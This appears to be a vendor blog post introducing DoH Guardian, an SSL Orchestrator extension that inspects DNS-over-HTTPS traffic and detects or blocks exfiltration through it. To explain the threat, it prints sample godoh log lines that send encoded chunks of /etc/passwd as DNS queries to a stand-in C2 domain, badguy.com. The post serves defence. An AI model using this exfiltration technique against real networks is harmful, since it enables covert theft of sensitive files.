SSL Orchestrator Service Extensions: DoH Guardian

DoH Guardian is an SSL Orchestrator service extension for the inspection and protection of outbound DNS-over-HTTPS (DoH) traffic.

You may be asking, why do I need to inspect DNS over HTTPS? DNS predates the Web, email, and many other common communication protocols, and options to make DNS more “secure” have come…and gone with limited success. And to be honest, you don’t hear a lot about DNS protection with all the other more exciting (and terrifying) security issues flying around. DNS as a protocol is extremely flexible, and not just the hostname-to-IP-address queries we’re all familiar with, but also in its ability to move around all sorts of information.

Malevolent forces have known for literally decades that DNS is especially good at data exfiltration. It is rather trivial to move (i.e. exfiltrate) arbitrary data in small chunks of encoded TXT record queries. However, as DNS itself is not encrypted, these activities are easy to spot by any DNS security tool, thus remediating this specific vulnerability. Problem solved, right? Well, maybe not. DNS-over-HTTPS (DoH) was introduced as the latest attempt to provide privacy and security on top of DNS. It is essentially DNS wrapped in encrypted HTTPS payloads. This is important to the story because:

The most widely deployed browsers (i.e. Chrome, Firefox, Edge, Opera, Brave, etc.) all support DoH, and by default, point their queries at Internet-based services like Cloudflare and Google. An organization once had complete control over their user’s DNS traffic. Now, that control is no longer possible unless a company puts in place browser control policies or just blocks those DNS services completely. With respect to the former, managed device policies can control most browsers, but not all of them, and not all Internet client/agents in general. With respect to the latter, it’s worth noting that Cloudflare and Google are just two of the thousands of DoH providers available.
DoH rides on regular HTTPS, port 443, and is otherwise indistinguishable from normal HTTPS traffic. It is not generally possible to just “block DoH”, unless again, all known Internet providers are blocked, or the DoH (HTTPS) is decrypted and inspected.

Unquestionably, DNS-over-HTTPS is an important privacy enhancement to a very old and insecure Internet protocol that has otherwise eschewed other attempts at security. By now you probably know where I’m going with this, but to state the obvious, DoH presents an interesting new challenge. Something that was once very easy to do (data exfiltration), and also easy to protect against, is now still easy to do, but thanks to DoH, is much less easy to detect. For all of its benefits, DoH obfuscates a serious data leakage vulnerability.

The key takeaway is that the DoH-enabled browsers in your enterprise are now, for privacy's sake, sending encrypted queries out to Internet DNS providers, bypassing your local DNS and DNS security measures. You can implement browser control policies to turn this off…but only for some browsers, or you can try to block access to the thousands of remote DNS services. Of course, neither of these is a perfect solution. A better, more complete option is to decrypt and inspect.

That is where F5 SSL Orchestrator and the DoH Guardian service extension can save the day.

Introduction

Before diving into the topic of DNS-over-HTTPS protection, it is important first to introduce the Service Extensions concept. In F5 BIG-IP 17.0, SSL Orchestrator delivered a new feature called "Office365 Tenant Restrictions". This feature implements an HTTP header injection function. It enables organizations to control their users' access to company-only Office 365 resources, preventing a significant data exfiltration vector. More than this, the feature introduced a NEW type of inspection service...not one that sends inspection traffic to external security tools, but to a simple "loopback" VIP and an iRule.

This VIP sits close to the original proxy flow, so incurs almost no additional latency. But the magic here, and why we're calling this a "service extension", is that this new service type delivers an entirely new programmable inspection service object directly inside the service chain, and that presents enormous possibilities for additional security value without additional external tooling. In this project, I discuss one such powerful use case for the decryption and protection of DoH traffic.

Exploring DoH Exfiltration

I get it, some are still skeptical. With all of the “quantum” and “AI” buzzwords flying around, no one is exactly screaming “DoH!”. But we could all agree, of course, that malware and bad actors still exist and are using all manner of tooling to get what they want. And for that, I thought it important to illustrate just exactly what a DNS-over-HTTPS data exfiltration attack looks like.

There are many different tools for doing DoH exfil, but they all run on essentially the same basic principles: encoding chunks of data in multiple DNS requests. A compromised system inside the corporate network will make DNS-over-HTTPS queries to some public DoH provider, like Cloudflare. It will then forward those requests to a C2 (command and control) DNS instance somewhere on the Internet (the bad guy).

From the organization’s perspective, this is just HTTPS traffic going to Cloudflare. The compromised client “agent” will periodically query the C2 instance for instructions, and when ready, the C2 will issue a command in its response. We can look at a simple example from the godoh DoH exfil tool. In this case, the client agent makes successful contact with the C2 and sends periodic queries, waiting for commands:

DoH TXT Query: name=6d73687836.badguy.com,type=16,version=JSON,id=null
DoH TXT Query: name=6d73687836.badguy.com,type=16,version=JSON,id=null
DoH TXT Query: name=6d73687836.badguy.com,type=16,version=JSON,id=null
DoH TXT Query: name=6d73687836.badguy.com,type=16,version=JSON,id=null

This is a DNS TXT record request. At some point, the C2 will issue a command that it encodes in its TXT record response. The C2 could, for example, say something like, “Give me your /etc/passwd file.” The client agent will then go do the thing (get the local /etc/passwd file), break it into small pieces, encode those pieces, and then send the pieces to the C2 as individual A record requests:

DoH A Query: name=d34a.be.0.00.0.0.0.0.0.badguy.com,type=1,version=JSON,id=null
DoH A Query: name=d34a.be.0.00.0.0.0.0.0.badguy.com,type=1,version=JSON,id=null
DoH A Query: name=d34a.ef.1.4cf57533.0.3.1f8b08000000000002ff001f05e0fa6d49899cb2fc640f5204e16f8c9f37.090d121781de2b97925c886bde9e8a86f490b1651ed1bb585e31ffed9b3c.aff0c7a3598c1e2d5332335484b6dc41d33c7881b5a0a14d821e4338af56.badguy.com,type=1,version=JSON,id=null
DoH A Query: name=d34a.ef.1.4cf57533.0.3.1f8b08000000000002ff001f05e0fa6d49899cb2fc640f5204e16f8c9f37.090d121781de2b97925c886bde9e8a86f490b1651ed1bb585e31ffed9b3c.aff0c7a3598c1e2d5332335484b6dc41d33c7881b5a0a14d821e4338af56.badguy.com,type=1,version=JSON,id=null
DoH A Query: name=d34a.ef.12.a88ac3df.0.3.f943910ae0adcf7105990f3192c19236d04c0df22f897d91c3efec75f2d1.f9d26d1e218b77c6a28c9681391596f610ecbfac02f5b3bc5d5763b891c4.ea32f05d2bfc4eb65078835e0d8234f8b76bf20099e87b13305d14c23f98.badguy.com,type=1,version=JSON,id=null
DoH A Query: name=d34a.ef.13.bae530bc.0.3.047a8ba7091ff997b517777da8d59aefcefd0f263cf3ccb740ba5c848a53.25f6eecf8133876d2376abf317cb18239d17ac36432335d5ddbb75346fc4.e7d61353628401eba13398c19e4a1dd0f7d4f9a17d07e1f750aaba51285f.badguy.com,type=1,version=JSON,id=null
DoH A Query: name=d34a.ef.13.bae530bc.0.3.047a8ba7091ff997b517777da8d59aefcefd0f263cf3ccb740ba5c848a53.25f6eecf8133876d2376abf317cb18239d17ac36432335d5ddbb75346fc4.e7d61353628401eba13398c19e4a1dd0f7d4f9a17d07e1f750aaba51285f.badguy.com,type=1,version=JSON,id=null
DoH A Query: name=d34a.ef.14.87b9a653.0.3.dfb7c15f347f5bbb7ae0e716edf93cce77d4a5856de2c251554b38f4f237.dacf1716ba71620dba5345a01acfd849cc31872c12c0dff47919ccfdf0d3.e330811ce3a6a5fa1f198fff8fbce36c384778270ec6d31300a164ebd79f.badguy.com,type=1,version=JSON,id=null
DoH A Query: name=d34a.ef.14.87b9a653.0.3.dfb7c15f347f5bbb7ae0e716edf93cce77d4a5856de2c251554b38f4f237.dacf1716ba71620dba5345a01acfd849cc31872c12c0dff47919ccfdf0d3.e330811ce3a6a5fa1f198fff8fbce36c384778270ec6d31300a164ebd79f.badguy.com,type=1,version=JSON,id=null
DoH A Query: name=d34a.ef.15.53682df3.0.3.d455f8fd1fa1547fdef9eea4581fdabd4fb1b5418bd65a186f04a8d8a496.1e16f5b4a42bd4a4e4c852f045705ca321de5879176fd0a3671dbaf9e9ac.4dea784db392010000ffff7086b2021f050000.badguy.com,type=1,version=JSON,id=null
DoH A Query: name=d34a.ef.15.53682df3.0.3.d455f8fd1fa1547fdef9eea4581fdabd4fb1b5418bd65a186f04a8d8a496.1e16f5b4a42bd4a4e4c852f045705ca321de5879176fd0a3671dbaf9e9ac.4dea784db392010000ffff7086b2021f050000.badguy.com,type=1,version=JSON,id=null
DoH A Query: name=d34a.ca.16.00.0.0.0.0.0.badguy.com,type=1,version=JSON,id=null
DoH A Query: name=d34a.ca.16.00.0.0.0.0.0.badguy.com,type=1,version=JSON,id=null

So, what looks like regular HTTPS traffic going to Cloudflare has just copied the contents of a sensitive system file to a bad actor on the Internet. For the sake of description, we’ll call this an “anomalous DoH event”, and there are a number of ways to “detect” this behavior, assuming cleartext access to the payload, as documented in Real time detection of malicious DoH traffic using statistical analysis. DoH Guardian implements anomalous DoH event detection as one of its core functions.

DoH Guardian

DoH Guardian functions to monitor and manage DNS-over-HTTPS traffic flowing outbound to Internet DoH providers. It also nables the detection of potentially malicious DoH exfiltration. This SSL Orchestrator service extension is invoked at a detected (and decrypted) DoH request. It has several options for logging, management, and anomaly detection. The solution is fully customizable, including options for:

When and how to log queries, via local and remote (HSL) log consumers
What DoH queries to allow or block, via URL category lookups
How to block a query, via:
- DoH Blackhole: returning a real “nowhere” IP address back to the client
- DoH Sinkhole: returning a blocking page response to the client
What types of DoH anomaly events to track:
- Abnormally long subdomain names
- Uncommon query types

The DoH Guardian service extension can be found here: DoH Guardian Service Extension and includes an installer to create all of the necessary objects:

## From the BIG-IP Shell, fetch the installer and make it executable:
curl -sk https://raw.githubusercontent.com/f5devcentral/sslo-service-extensions/refs/heads/main/doh-guardian/doh-guardian-installer.sh -o doh-guardian-installer.sh
chmod +x doh-guardian-installer.sh

## Export the BIG-IP admin username and password for the installer to use: 
export BIGUSER='admin:password' 

## Launch the installer: 
./doh-guardian-installer.sh

The installer will create the service extension service and DoH Guardian iRule. Once this is complete, simply add the new service to your SSL Orchestrator service chain(s), customize the settings in the iRule (as required), and then let’er rip. With the defaults in place, DoH Guardian will start logging all DoH queries to /var/log/ltm on the BIG-IP.

To turn on DoH anomaly detection, set the DOH_ANOMALY_DETECTION_ENABLE variable to 1.
To block detected anomalies, replace the “dryrun” value in the DOH_ANOMALY_CONDITION_LONG_DOMAIN_NAME_ACTION and DOH_ANOMALY_CONDITION_UNCOMMON_TYPE_ACTION variables to either “drop” or “blackhole”.

Other options are described fully in the project.

Summary

Service extensions provide game-changing power and flexibility to your SSL Orchestrator deployment. The catalog of utilities is small, for now, but will definitely grow over time as new ideas emerge. DoH Guardian should prove to be an effective measure in your security architecture.

If you think of any interesting use cases for service extensions, please let us know!

Published Aug 22, 2025

Version 1.0